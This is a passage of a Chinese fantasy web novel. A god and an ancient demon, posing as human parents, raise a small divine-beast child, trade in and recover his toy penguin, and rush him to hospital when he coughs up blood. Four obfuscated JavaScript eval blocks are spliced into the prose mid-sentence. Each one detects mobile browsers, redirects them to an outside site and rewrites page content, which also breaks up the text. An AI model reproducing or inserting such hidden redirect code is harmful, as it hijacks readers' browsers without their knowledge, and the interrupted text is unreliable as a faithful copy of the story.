玩偶根据体型不同定价，但起步价就要369元。 虽然钱财对他们不值一提，就算金山银山，抬手就能变出一堆。 可他们不能在人间大肆挥霍，更不能做出有违人物设定的事。 赶紧进行一番心声交流。 冬眠：【日日要是喜欢的话，我们能买吗？会不会超出我们该有的消费水平？】 他们在人间的工作是餐饮经营。 冬眠开了家饭店，殷天开了家西式糕点店。 人类必须工作。 否则就是可疑的社会混子，容易引人关注怀疑。 而比起去其他公司上班，这种行业对他们来说自由度更高，方便随时寻找小魔物的下落。 目前两间店铺收入属于中等偏下的水平。 因为生意太好容易引人注意，搞不好还要遭遇同行嫉妒。 但太差了也不行。 太差就该倒闭了，那可不能倒。 所以按照他们目前的收入水平跟人物设定来说，这些东西并不在他们的消费能力之内。 殷天：【不买】 大魔物还在继续刚才的破防。 殷天：【什么都别买给他】 冬眠瞪他一眼。 冬眠：【不是跟你开玩笑，正经点回答】 这一眼给殷天瞪舒服了。 就是这种看垃圾般的不屑眼神——小神官瞪人都别有一股风情，大魔物顿时感觉心里好受多了。 殷天：【作为溺爱孩子的家长，偶尔买几个并不算过分】 殷天：【按照人类的说法，努力赚钱不就是为了让孩子过上好日子吗？】 冬眠觉得这话挺有道理。 冬眠：【那就给日日买几个吧，他好像很喜欢的样子】 冬眠将小家伙放到了地上，温柔说道：“宝宝喜欢什么就选吧，爸爸都买给你哦。” 冬日眼里满泛着期待的光，立刻兴冲冲地往前跑了两步。 不过没几步又回来了，将自己手里的小企鹅托付给冬眠。 “……爸，爸爸！帮我拿拿哦！” 竟然喊他爸爸了。 一声软绵绵的爸爸，差点没把冬眠的心喊化。 “好，爸爸帮你拿着。” 接过这只破烂小企鹅，冬眠感觉它都没那么不堪了，瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988864|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间眉清目秀不少。 “宝宝去选自己喜欢的东西吧……不过不要跑哦，慢慢走。” “嗯嗯，好哦！” 冬日应得很乖巧，但转身就开跑，根本没把冬眠的叮嘱往心里放。 不出一分钟，他抱着一个崭新的小企鹅玩偶回来。 “爸爸，这个好看！” 费力地将小企鹅高举过头顶，冬日认真展示他一眼喜欢上的新玩偶。 店员也在这时走过来，适时地做起介绍：“欢迎光临，这款玩偶是当季新品，买两个及以上的话有特别优惠哦。” 冬眠来人间的日子不长，对人类这些营销套路并不熟悉。 听到店员这么介绍，便问：“什么优惠？” “加购一个同款玩偶的话，有9.8折优惠，加购两个以上的话，则是9.6折优惠。” “对了，还有新款衣服，很适合你们家的小宝贝呢，现在购买整套的话，也能打9.9折哦。” 优惠力度简直小到能忽略不计的程度。 一般大人听到这里，大概已经会露出很无语的表情，并问一句：这跟原价的区别很大吗？ 但冬眠不是一般人。 他算出优惠的金额很小后，大脑的第一反应是作为普通人，应该也会想要节省这点钱，所以不能错过优惠机会。 本来今天也是要给小家伙买衣服的，正好能顺便看看。 “衣服在哪里呢，带我们过去看看吧。” 店员满脸笑容地应道：“好，衣服就在这边，请跟我来。” 上了二楼，才发现这里不仅有衣服鞋子，甚至连床上四件套都有。 东西虽贵，但服务态度没话说。 到二楼后，小家伙立刻享受起了众星捧月般的待遇，各种衣服鞋子递到他面前，店员还端来了零食饮料。 注意到冬眠怀里的旧玩偶，店员还很贴心地提示：“现在还有以旧换新活动呢，您手里这只是去年的款式，大概也能抵个几十块。” 看到正版玩偶的价格后，冬眠就觉得小家伙这只应该是哪里捡来的盗版了。 “但这只不是在你们店里买的……也忘记是在哪里买的了，能换吗？” “不管是在哪里买的，只要是我们品牌的就能换。”店员道，“方便让我看下具体情况吗，我好给您估个价。” “……” 冬眠也不好说可能是盗版的，见店员已经将手伸过来，只好将玩偶交给对方。 没想到经过一番检查，居然还真是正版的。 “破损确实比较严重了，大概能抵扣五十块，您看需要吗？” 五十块钱。 这应该是普通人不能拒绝的优惠价格吧？ 可想起小家伙对这个玩偶的喜爱程度，冬眠决定先问问冬日的意见。 “宝宝，你现在有新的小企鹅了，这只旧的还要吗？” “不要的话，爸爸就拿它换新的了？” 虽然冬眠巴不得能丢了这只小企鹅，可看冬日今天在车上的反应，他对旧玩偶的感情很深刻。 不仅冬眠倾向小家伙不会答应，殷天也这么觉得。 破破烂烂了还舍不得丢掉，还不允许家长说它不好，怎么可能说换就换？ 但他们不知道，小幼崽已经被眼前暂时的快乐冲昏头脑。 怀里抱着新的小企鹅玩偶，又看着好多漂亮的新衣服跟新鞋子，彻底迷了眼。 实际都没听清冬眠在问什么，只听到“新的”这两个字，就迫不及待应道：“好哦好哦！我要新的！” 没有一丝纠结，毫不拖泥带水，非常干脆果断。 冬眠：…… 殷天：。 原来是他们想多了，小家伙哪有舍不得，小家伙简直非常舍得。 5. 第 5 章 非常舍得的冬日宝宝度过了相当快乐的一天。 不仅买到了新玩偶，还买了印着小企鹅图案的新衣服。 然后就一直抱着新玩偶，先去地下一层美美大吃一顿，吃完又去商场顶楼的儿童乐园玩到下午。 回家时彻底累趴在车上，饶是如此，也没松开新玩偶，全程抱着呼呼大睡。 因为玩闹过，白皙的两颊透出几丝粉红，嘴唇嘟嘟的，睫毛浓密卷翘，安静睡着的模样就像个小天使。 冬眠为他扣好安全带，盯着他的睡颜好一会儿，才上了车。 变亲近的过程不容易，所以每回有点进展，都叫人心里很有成就感。 “但是有件事……我有些算不明白。” 回家途中，冬眠总觉得哪里不对劲，拿出今天在商场的付款小票看了很久。 看得越久，眉头皱得越紧。 表情也是相当纠结复杂，最后像是下定了某种决心，才开口跟殷天交流。 殷天便问：“什么事？” 冬眠抿抿嘴唇：“我们今天买东西的时候有优惠，照理来说是便宜了，对吧？” “嗯？” “但为什么我总觉得很奇怪，现在也没享受到优惠的开心呢？” 冬眠皱着眉：“就因为我不是人类吗？” “……” 确认自己没听错后，殷天哼笑了一声。 尽管语气算不上嘲笑，但冬眠还是捕捉到了其中的不友善，立刻质问：“你笑什么？！” 殷天避开了这条质问，开口：“你想知道为什么吗？” “……为什么？” “因为买一个玩偶只要三百多，你看看最后统共花了多少钱？” 衣服加上玩偶，再加两个优惠小物件的组合搭配，最后一共花了好几千。 是有点多了。 就算偶尔买一次，这么买似乎也多了。 “……可是有优惠啊！”冬眠解释，“普通人应该会珍惜优惠机会，不会错过这样的便宜吧！” “……” 于是殷天脸上的笑容更过分了。 这下真是嘲笑了。 没想到冬眠居然不会算账，对上数字就头脑发晕了。 不愧是小神仙。 真·不食人间烟火。 抢在冬眠又要质问他到底笑什么之前，殷天先道：“那你算算，一共优惠了多少？” “……” “一个玩偶便宜不到十块，为了这十块钱的优惠，额外多花了将近四百，你觉得合理吗？” “…………” “全部东西加起来又优惠多少，有一百吗？” “……” “为了不到一百的优惠，其中五十还是旧玩偶换的，最后一共花了几千，你真觉得普通人会这么选吗？” “…………” 陷在当时热烈的气氛中，冬眠真觉得理所当然，丝毫意识不出哪里不对。 可经过殷天这么一分析，他后知后觉反应过来了。 “……人间的营销套路好肮脏啊！” 不愿承认自己的愚蠢，冬眠选择指责他人。 先指责商家套路，再指责殷天。 “……当时你也不提醒我！我们不能乱花钱的！” 殷天没想到他调转枪口这么快。 “你不是想让孩子开心吗，至少孩子很开心啊。” “只买一个新玩偶他也很开心了。” “……” 冬眠叹气：“……总之以后不能乱花钱了，这不符合我们的消费水平，会引人怀疑的。” ……所以哪这么容易引人怀疑。 ……到底是谁会一天到晚来怀疑他们。 殷天将吐槽藏在心底，只能夸赞小神仙是做事仔细慎重。 “知道了，以后我尽力提醒你。”殷天道，“但前提也是你不跟我对抗。” “我怕我一提醒，你反而更来劲，更想买了。” “……” 冬眠一顿，还真有可能。 有些时候不论道理，就是单纯想跟殷天对着干。 但他怎么能承认。 将头撇到一边，心里还在懊悔今天的不理智消费。 “……我是那种人吗，你未免太小看我了。”冬眠道，“今天也只能算了……偶尔一次，应该也没关系。” 毕竟小家伙是真的开心，而且跟他们的关系也因此更亲近了些。 冬日一觉睡到傍晚才醒。 醒来接近晚餐点，洗脸洗手后，乖乖等着晚餐开动。 吃了睡，醒了吃。 这一天跟小猪没有区别，可以说是相当幸福了。 晚餐也是吃了饱饱的一顿。 吃完后，家长带他去外面散了散步，回到家后就是洗澡上床，看看动画片，又能准备睡觉了。 冬眠对着电视机一顿研究，搞半天才成功开通视频会员，顺利给孩子放起了小企鹅的动画片。 小神仙对人间的电子设备真很头疼，要不是今天意外得知小企鹅是周边产品，动画片可以放给孩子看，这电视机大概还要放段时间才会研究。 养小孩真不容易。 即便是神仙也会觉得很疲惫。 但看着小家伙乖乖缩在被窝里，跟裹起来的小笼包一样，心头又有种说不出的满足。 真奇怪。 这么看了小家伙好几眼，冬眠叹出一口疲惫却很安定的气，接着也在冬日身边侧躺下了。 可还没躺稳，一面巨大的阴影突然覆盖上来，冬眠扭过头，竟是殷天爬上了他这边的床。 作为”幸福美满”的“一家三口”，晚上自然是要一起睡的。 平时冬日都睡他们中间，但等冬日睡着后，冬眠就会把殷天赶下床去。 没想到这晚殷天胆大包天，竟直接往他边上凑了。 冬眠二话不说就是一脚踹过去。 可惜没将殷天踹下床不说，反而还被对方捏住了脚踝。 殷天：【这么凶？】 冬眠：【滚下去！】 孩子就在边上，冬眠也不敢有太大动静。 殷天嘴角带笑，看上去很不正经，更叫人不爽。 殷天：【我们睡一起不是很正常吗？】 冬眠挥手出招，仙气自掌心凝结，往前一伸再拉回时，手里多了条树枝材质的绳索——而绳索的另一头，是圈在殷天脖子上的项圈。 冬眠：【你再往前一步试试，信不信我勒死你？】 这是冬眠为殷天另外特制的束缚绳，跟天界落在殷天身上的几十道锁一样，实际毫无效果。 但殷天不仅受着，还总是假装有用。 殷天：【这样看，我好像是你的狗】 殷天：【到底什么时候才能把这个项圈解开？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988865|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 冬眠便从未对效果起过疑心。 冬眠：【你现在就是狗】 冬眠：【滚下去做好你的看门狗】 这话很不客气，甚至还有几分不顾颜面。 殷天没了回应，但握着冬眠脚踝的力道没有放松，反而逐步加重。 凌厉深邃的眼底也透出几分危险的气息。 冬眠想将脚踝抽回来，可惜完全抵不过殷天的力道。 危险气息覆上来的那一瞬，冬眠下意识狠收束缚绳，试图用强硬手段逼殷天服软。 结果竟没半点作用。 殷天冷冷笑了几声，结实硕大的身躯更往前倾。 鼻腔呼气扑到脸上的时候，冬眠只觉得后背一阵发凉。 怎么会没用…… 这不可能啊，不应该是这样的…… 但冬眠没来得及深究，殷天也没能再进一步。 因为冬日尖锐的喊叫声突然在他们耳边炸开：“——啊！” 冬眠立刻收起项圈绳索，殷天也松开了冬眠的脚踝。 两人双双朝冬日看去。 冬眠忙问：“……宝宝，你怎么了？” 该不会是看到了他的绳索吧？ 但这不可能啊，凡人根本看不到啊。 好在冬日全程没注意家长这边发生了什么，他只是在看完两集动画片后开始犯困，想要睡了。 也是到这时，他才终于开始寻找自己旧旧的小企鹅玩偶。 白天一直沉浸在得到新玩偶跟新衣服的喜悦里，稀碎的注意力便不能再分给其他东西。 现在喜悦感差不多冷静了，又要睡了，整个人就恢复了该有的冷静。 而在冷静之下，对旧旧小企鹅的依赖也回来了。 尤其是在拥有新的小企鹅玩偶后，他很快反思了自己这样的行为是不正确的，应该先征求原来小企鹅的同意才行。 等向原来的小企鹅道歉后，他再介绍新玩偶给小企鹅认识。 以后小企鹅就有自己的朋友了！ 小家伙的安排很美满，可扭头一看，这才后知后觉自己最好的好伙伴不见了。 哪里都没找到。 冬日快哭了。 “呜，呜……小企鹅，我的小企鹅，不见了……” 冬眠连忙将新买的两个递过去。 “小企鹅不就在这里吗，宝宝看，这是今天新买的小企鹅啊，它们就在你旁边啊。” 白天紧紧抱在怀里，看上去喜欢得不行，这会儿却连一个多余的眼神都没给，冬日只沉浸在自己的悲伤里。 “呜……不是它们，不是它们……是原来的，原来的小企鹅，不见了，我找不到了……呜……” “……” “……” 冬眠跟殷天双双呆滞。 两人对视一眼，才敢确定没有听错。 “……原来的小企鹅，宝宝不是不要了吗？” 以旧换新的时候，冬眠确定询问过冬日的意见。 当时他跟殷天还都震惊来着，本以为小家伙会舍不得，没想到小家伙很爽快地就答应了。 所以现在是什么情况？ 突然失忆开始后悔了吗？ 冬日大惊，连忙火速摇头：“……没有不要！宝宝没有不要！” “宝宝要的！宝宝很要的！” “……” “……” 6. 第 6 章 残忍而意外的真相揭开后，冬日噼里啪啦地心碎了。 心碎了。 悲伤了绝望了。 他觉得自己成为了全世界最可怜，同时也是最过分的神兽崽崽。 他竟然把陪伴自己那么久的好伙伴给忘了，还换了，现在更是找不回来了。 他太不是东西了！ 失去原来的小企鹅玩偶，拥有再多再新的小企鹅都没意义！ 冬日一顿嚎啕大哭，深陷在对小企鹅的自责内疚里，怎么哄都没用。 这还叫他怎么睡。 他今晚肯定睡不着了。 但大哭二十分钟后，小家伙累到脱力，最终还是败给疲惫，带着未干的泪水睡了过去。 冬眠跟殷天没考虑过情况会成这样，小孩的心跟嘴竟然说变就变，这下情况很尴尬了。 好不容易在白天亲近了关系，积累了些好感值，现在怕是得大跌特跌。 “这下怎么办？”冬眠看向殷天，“你有办法能把日日的玩偶拿回来吗？” 虽然不愿承认，可冬眠是真没办法。 他能让死树回生，能让枯木结果，就是不能凭空变出冬日想要的玩偶娃娃。 毕竟术业有专攻，这超出他能做到的法术范围了。 冬眠不得不求助殷天。 还以为殷天会拒绝，或者至少口头上占他的便宜，没想到这回殷天挺主动地全部揽下：“交给我，我有办法。” 冬眠很难不意外，盯着殷天的双眼都瞪大了些。 殷天对上他的视线，感觉有些好笑：“为什么这样看我？” “我还以为……” 剩下的内容不用直说，他们心知肚明。 殷天轻轻冷哼：“不是你希望我们关系能好些吗？这次我要能把玩偶拿回来，一定能好很多吧？” “那你准备怎么拿回来？”冬眠警觉地说，“可不能偷偷摸摸地拿回来，那已经是给人家的东西了。” 冬眠的正义准则又在脑内上线。 那是他们已经拿给别人抵钱的东西，要是偷偷摸摸地拿回来，跟小偷有什么区别？ 他还算什么神仙？趁早自缢在南天门算了。 “放心，我会留五十块在那里的。” “……” 虽然但是，好像还是哪里不对。 “再复制个一模一样的留下，这样总行了吧？” 毕竟是从上古时期就存在的大魔物，会施展的法术比冬眠多了太多。 一比一复制对殷天根本不是难题，用在这么个小玩偶上都算浪费灵力了。 “……好，那就这样吧。” 已经算是最妥善完美的解决方案了。 于是殷天独自出门开车，前往他们白天去过的商场。 玩偶还在那里最好。 但不在了也没事，只要上面还有冬日的气味，殷天就能找到它的行踪轨迹。 只是晚上的运气不太好。 这个时间点，道路莫名很拥挤。 也不知算什么晚高峰，殷天的车子开开停停，十分钟才开出两个红绿灯。 其实靠他自己走还能更快些，可冬眠不让他在外面乱用法术，他被迫开车过去。 等待令人烦躁。 尤其是本就没太多耐心的大魔物。 又吃到一个漫长的红灯，殷天降下车窗，点了根烟。 可就在冷风顺着缝隙往车内灌时，一股令人感到诡异且不悦的气息同时飘了进来。 虽然很淡，但殷天瞬间辨认出，这就是他们在寻找的小魔物。 来到人间这么久，之前特意到处搜查都没找到，今晚小魔物居然主动现身，并且连气味都不再藏匿。 真奇怪。 能让殷天这么直接地嗅到气味，说明小魔物就在离他不远的地方。 可气味这么淡，说明小魔物目前力量较弱，大概率处于重伤阶段。 这也不难理解。 之前小魔物强行冲破天界封印，在天界重重围剿追杀之下才逃到人间，必然元气大伤，需要先好好修复一番。 在完全恢复之前，小魔物会隐匿自己的全部气息，寄生于幼崽身上。 最优首选是有灵力的神兽幼崽，吸取这些小神兽的灵力能让小魔物更快恢复。 但这里是人间，压根没有神兽幼崽，所以小魔物大概会对那些身强体健的人类幼崽下手，吸食他们的生命力。 一个接一个，直到它完全恢复。 今晚会罕见地现身，大概是将哪个倒霉幼崽吸得差不多了，正准备换下一个？ 殷天不准备验证自己的猜测是否正确，也没打算上前追寻小魔物的具体下落。 他正开车呢，小神仙可叮嘱过他不能在人间引起骚乱，那他当然不可以乱来。 而且对他来说，寻找小魔物的过程肯定是拖越久越好，否则他跟小神仙朝夕相处的机会岂不是没了？ 至于今晚是不是真有哪个人类幼崽倒大霉—— 这也不是他能介入干涉的因果了。 反正不是他干的，要怪就去怪小魔物吧。 毕竟他还有要紧任务在身，要去给自己名义上的人类儿子找玩偶呢。 …… 冬日睡了很难受的一觉。 带着悲伤的情绪入睡，梦里都高兴不起来。 他感觉自己做了一个混沌又诡异的梦，好像置身在某处风暴中心，被里面的怪物不断吸食身躯，再努力想要逃离都是徒劳。 胸腔很热很痛，像被一把大火反复炙烤，又按在铁板上咚咚捶打。 直到逐渐恢复对外界的感知，他意识到可能是天快亮了，这才终于从噩梦中逃脱。 可恢复感知的下一秒，他立刻回忆起被自己抛弃的小企鹅。 于是无尽的悲伤再次将他席卷。 即便睡过一夜，还是没得到任何缓解。 实在很不想面对失去小企鹅的现实。 可该睁开眼睛的时候到了，再不情愿，小家伙也还是得睁开眼。 睡前哭过太久，醒来眼睛有些酸涩，还有些肿胀。 下意识伸手揉眼，结果身体动作起来，发现脑袋也有点疼。 哪哪都不舒服。 “唔……” 轻轻呓语了一声，冬日一边揉眼一边坐起来。 小小的脑袋跟胸腔承受着这个年纪不该承受的情绪重量。 直到放下小手，彻底睁开眼睛这一瞬，他看到了堪称人间奇迹的画面—— 被弄丢的小企鹅玩偶竟放在他的枕头上！ 小企鹅在他睡觉的时候回来了！ 小企鹅自己回来了！ “小企鹅！是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988866|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的小企鹅！” 冬日简直不敢置信，立刻惊呼出声，任何言语都无法形容他这一刻的超级喜悦。 “小企鹅回来了！他回来啦！” 要不是噩梦还影响着他的情绪，眼睛脑袋也泛着真实的不舒服，小家伙都要怀疑昨晚的意外才是场噩梦，其实小企鹅根本没离开过他。 连忙伸手将小企鹅抱过来。 藏在怀里一顿扭来扭去，表情无比珍爱，随后又将小脸贴上去蹭蹭。 说出口的话也很肉麻，反复表达着自己的思念跟后悔。 “小企鹅，太好啦！我好想你哦！” “我以后，以后再也不……不跟你分开了！” 冬眠跟殷天就在一旁看着。 两人算定力跟耐力都很强的存在了，却还是被眼前场景感染了情绪。 心底突然变得软软的。 冬眠欣慰说道：“真的太好啦宝宝，你的小企鹅回来了。” 他等了两个多小时，就是为了亲眼见证眼前这一幕。 庆幸结果跟他想象中一样，小家伙是真的很开心。 冬日这才发现爸爸在身边。 小企鹅回来让他开心过头，都没注意到周围其他情况。 “是大爸爸帮你找回来的哦。” 为了让大魔物跟小家伙搞好关系，冬眠也是很努力了。 哪怕私人情绪再多，眼下都要为殷天说说好话。 “为了找回小企鹅，大爸爸可是很辛苦呢，宝宝要谢谢大爸爸哦。” “……” 殷天闻言，表情未变。 做出一副蛮不在乎的样子，好像这种小事不足挂齿。 实际内心还没从昨天的破防中走出来，也想知道小家伙会是什么反应。 没指望能因此就跟他十分亲近，但至少不会再害怕他了吧？ 至少能让他抱了吧？至少也能喊他一声爸爸了吧？ 当然，殷天压根不在乎这些，只是单纯觉得能有这种程度的进展而已。 殷天沉默不语，就这么盯着小家伙。 小家伙听到是殷天帮他拿回来后，脸上的笑容也渐渐收起，表情开始变得凝重。 倒不是对此感到失落。 而是比较严肃，在认真思考该怎么感谢。 因为对于这个事实，他也没太惊喜，他一直都觉得大爸爸对自己挺好的。 只是长得有点凶，说话有点凶，平时做事行为也有点凶而已。 嗯，仅此而已。 “唔，唔……我……” 冬日眨巴眨巴大眼睛，有些艰难地吐出了开场白。 冬眠也赶紧心声提醒殷天。 冬眠：【你的表情能不能友善点？现在这样是想恐吓小朋友吗？】 可不知是不是刚才情绪起伏太大，还是有其他原因，才说完这么几个字，冬日突然觉得胸腔内涌起一团剧烈的刺痛。 同时呼吸开始变得艰难，还说不出话。 下意识张开嘴巴想换气，结果喉咙间又泛起一股从未有过的腥甜味。 下一秒，大滩鲜血从他嘴巴鼻腔喷涌出来。 小家伙被自己血呛了一下，呼吸更加艰难，想咳嗽又换不出气，几乎窒息，脸色瞬间褪成一片惨白。 “宝宝！” “宝宝你怎么了！！” 7. 第 7 章 在人间流浪的日子，冬日经历过很多差点就饿死的时刻。 对于性命濒危的感觉，他还以为自己不算陌生了。 可眼下意外状况突发，说吐血又被呛到，呼吸充满艰难险阻，缺氧让意识开始涣散。 恐怖指数直冲百分之百。 冬日都不知道自己有没有晕过去，其实意外真正发生这一刻，他并没有害怕，因为身体的变化很陌生，他来不及反应，压根没意识到发生了什么。 只觉得自己像踩在软绵绵的云层上起飞漂浮，看什么都视线模糊，扭曲摇晃。 一半幻境一半梦境。 等稍微好转些，终于能听清外界的声音后，他已经睡在医院的病床上。 “从基础检查来看，目前是没有任何问题的……这边的建议是先住院观察两天，再做个详细的全身检查。” 陌生的声音在他视线前方响起。 鼻腔内充斥着非常难闻的药水味，令他想吐。 “呕……” 消毒水威力无穷，连小饕餮崽崽都难以承受，忍了又忍，还是没忍住干呕起来。 声响立即引起大人关注。 冬眠跟殷天站在病床的另一边。 冬眠很快上前，摸摸冬日苍白的小脸：“……宝宝，你醒了？有没有哪里不舒服？” 冬眠的关心担忧真情实感。 小家伙吐血那场面简直是能将人吓死。 更吓人的是，他跟殷天轮番法术施救竟还没用，当时真以为小家伙要一命呜呼了。 养了小家伙两个月，也是真养出感情来了，起初想着任务结束后，就为他找户靠谱的人家领养，现在还真有几分舍不得了。 “好臭哦，唔……宝宝臭死了……” 恢复意识后，冬日当场感觉好了很多。 但消毒药水太刺鼻，他歪着小脸，看上去就有点情况不太妙的样子。 冬眠会错意：“不臭啊，宝宝一点不臭，宝宝还是香香的。” “……” 又想可能是衣服沾上血迹的关系，说不定小家伙对这种气味比较敏感。 “可能是衣服上的味道，爸爸等会儿给你换件衣服。” 冬日轻声应道：“……嗯，呕……” 医生也对着他进行了一番检查，结合小孩吐血的情况，很认真想找出他此刻恶心干呕的原因。 最后严肃沉声道：“今天先安排一个头部扫描吧……家长可以先去办下住院手续，这样能尽早开始做检查。” “好。” 冬眠摸摸小家伙的脸蛋，此刻又多了几分心疼。 回想起他们刚捡到小家伙的时候，他孱弱瘦瘪，饿晕在路边……难道就是因为身体有无法治愈的隐疾，所以才会被人类父母抛弃？ 实在太可怜了。 不管真相如何，既然遇上他跟殷天了，那不管是什么罕见恶疾，他都会想办法治好的。 听完医生的交代事项，冬眠准备去办理住院手续，让殷天留在病房看好小家伙。 “我去办手续，顺便回家整点日日的衣服，你留在这里看好他……不要再吓唬他了，知道吗？” 殷天掀掀眼皮，虽然他没冬眠那么重视小家伙，可也不至于再去吓唬一个病中的人类幼崽。 “知道了，你放心去吧。”顿了顿又道，“你一个人能搞定吗？” 人类世界规矩繁多，医院就像个迷宫，进来时差点迷路不说，里面复杂的程度还一道接一道。 冬眠深呼吸换口气：“没问题，我能搞定。” 昨晚他连电视机都能搞定，还顺利开通了视频会员，今天肯定也不在话下。 “那你加油。” 冬眠离开后，病房里便只剩下冬日跟殷天。 鼻腔被消毒水反复殴打，小家伙再讨厌也只能忍着，反应渐渐没开始那么大了。 气氛有些沉默。 小家伙对他们本来就不是很亲近，跟冬眠相处还稍微好点，能勇敢喊出爸爸，也能说出一些自己的需求。 但单独面对殷天就是一个大写的不知道说什么了。 如果殷天不理他不主动，小家伙能一直沉默到冬眠回来。 冬日就这么缩在床上，眨巴着眼睛，偷偷看向殷天，似乎是想跟殷天说话。 可要是跟殷天的视线对上了，他又会立刻将脑袋藏进被子，过好一会儿再悄悄钻出来。 反反复复好几次。 最后殷天败下阵来，主动挪到了他的床边。 胆子真小，难道是担心自己会吃了他吗？ 但又真实叫人觉得很可爱，心底莫名有点发软。 殷天将枕头边上的小企鹅玩偶递给他，主动先开了口：“你的小企鹅，是不是没看到？” 冬日瞪大眼睛，他还真没看到。 连忙伸手接过抱紧，将小企鹅也一起藏进被子里。 “现在有没有好点？还有哪里不舒服吗？” 不问没察觉，殷天这么一问，小家伙才发现自己恢复了很多。 胸膛跟手掌都热热的，很有力气，眼睛扑闪眨动，都没了刚醒时的酸胀感。 是他的错觉吗？ 身体不仅不再难受，似乎还比之前还更强壮有力了？ 咕噜噜噜咕噜—— 就是肚子饿了，正在这时发出了鸣叫。 殷天没忍住笑了：“肚子饿了？” 但这声笑的难得不吓人，也不凶了，反而有种亲近的温情。 小家伙对大人的情绪变化比较敏锐，马上察觉到了这点微妙不同。 所以没再感到害怕或无措。 眨了眨黑润的眸子，小声应道：“……嗯。” 能不饿吗。 昨晚哭那么久，又做了一晚上古怪的梦，早上起来还没能喝口水。 这对一个小饕餮宝宝来说简直是太残忍了。 为了得到食物，冬日鼓起勇气应话，大胆表达：“宝宝，需要漏漏了，想吃漏漏……” 奈何发音还不太准，肉肉变成了漏漏。 殷天再次被逗笑。 周身的气场也随着更加柔和。 没办法，小家伙这种反应回答就是很可爱啊。 谁来都是可爱。 上古大魔物都必须承认的可爱。 殷天伸手揉揉冬日脑袋：“那爸爸去给你买吃的，你在这里等一会儿。” “……嗯！” “不可以离开这个房间，爸爸马上就回来了。” “……嗯嗯！” 但缺乏带崽经验，以为口头叮嘱过就足够，殷天粗心地留下了小家伙，自己出去买吃的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988867|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一分钟后，冬日火速将大人的叮嘱抛到脑后。 并非他故意要跟大人对着干，而是真的忘了。 刺鼻的消毒水跟饥饿的难捱对他进行了交替攻击，时间流逝开始变得无比缓慢。 才短短一分钟，冬日就觉得自己像忍了一百年——再忍不了了，他只想离开这个难闻的空间。 于是抱着小企鹅跳下床，没在床边找到自己的鞋子也不要紧，直接光着脚跑出病房。 结果外面照样是消毒水的味道，差点把冬日熏得翻个大跟头。 有妖怪！ 这里一定潜伏着可怕的大妖怪！ 这绝对是大妖怪身上散发出来的气味！ 好可怕！ 不管他怎么走，往哪里走，这股味道都紧紧缠住了他，就是不肯放过他！ 简直太可怕了！ 一直走到走廊尽头，冬日才能停下脚步。 但也不是奇怪的臭味消失了，而是在这扇病房门前，他嗅到了食物的香气。 咕噜噜咕噜—— 肚子的鸣叫再次响起，他是真的很饿了，也是真的很想吃东西。 循着食物香气，冬日不受控制地来到门前，恨不得扒着门缝多嗅几口。 哪想小手才搭到门上，门锁却自动开了，冬日当场被吓一大跳，整个人完全重心失衡，直直往前扑倒。 事前来不起准备，事后也做不了缓冲，这下摔得结结实实。 小汤圆差点摔到爆浆。 “谁！” 里面立刻传出一道严厉的声音。 冬日心头一颤，可等抬起头时，面前却是一个优雅贵气的小男孩。 “你还好吗，没事吧？” 声音也是很温和的。 “……” 男孩看上去比他大几岁，个子也比他高很多，正朝着他伸出手，是要扶他起来的样子。 冬日眨眨眼，看了看男孩，又看了看男孩身后的中年男子，胆怯地往后缩了缩。 最后也没有搭上男孩的手。 而是全凭自己的力量，很坚强独立地从地上爬起来。 “对、对不起……” 磕磕绊绊地吐出道歉。 虽然冬日觉得应该是病房的门跟地板向他道歉，摔得他好疼，他都要哭了。 可在陌生房间面对陌生人，一切充满压迫感，压着他这么开了口。 男孩身后的中年男人并不友善，模样跟声音一样严厉生冷。 “小朋友，你是哪里来的，怎么会——” 不过话没说完，就被男孩一个眼神示意制止了。 明明是个小孩，看上去还很温和，眼神却很犀利，浑身更有着股超脱年龄的，说一不二的霸道气势。 但再面对冬日时，短暂的犀利霸道像是从未出现过。 男孩温柔地问：“你还好吗？有没有摔疼哪里？” 